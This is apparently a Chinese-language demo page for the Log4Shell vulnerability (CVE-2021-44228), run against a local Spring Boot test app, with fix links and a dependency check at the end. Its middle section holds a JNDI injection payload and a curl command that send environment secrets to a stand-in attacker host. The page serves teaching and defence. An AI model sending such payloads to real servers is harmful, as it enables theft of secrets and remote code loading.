Log4Shell（CVE-2021-44228）是 Log4j 中的一个零日漏洞

Log4J 漏洞

发现日期： 2021年11月24日

修复日期： 2021年12月6日

攻击演示

点击下方观看YouTube视频

示例应用

该示例应用是一个Spring Boot应用，使用log4j作为日志框架，并在本地主机的8080端口上运行，同时设置了以下环境变量

观看视频说明：

https://youtu.be/bb6pgWrm7tA

环境变量

key=jason.bourne;secret=Treadstone

攻击

POST http://localhost:8080//v1/public/log-test

参数：

value=${jndi:ldap://some-random-hacking-site.com}

获取环境变量

通过使用以下字符串可以获取环境变量 value=${jndi:ldap://some-random-hacking-site.com}/${env:key}/${env:secret}

Curl 命令

curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' -i http://localhost:8080/v1/public/log-test --data 'value=${jndi:ldap://some-random-hacking-site.com}/${env:key}/${env:secret}'

日志控制台

2021-12-25 10:47:58,112 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://some-random-hacking-site.com]. javax.naming.CommunicationException: some-random-hacking-site:389 [Root exception is java.net.ConnectException: Connection timed out: connect] at com.sun.jndi.ldap.Connection.<init>(Connection.java:243) at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137) at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)

修复

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

确认

mvn dependency:tree 确保所有依赖的 jar 包均不指向存在漏洞的 log4j 版本。

Techflix Youtube 安全播放列表

https://www.youtube.com/watch?v=bb6pgWrm7tA&list=PLLqjNYIgOqeQl6NaeIeUhvNcWdpOVNkRi&index=1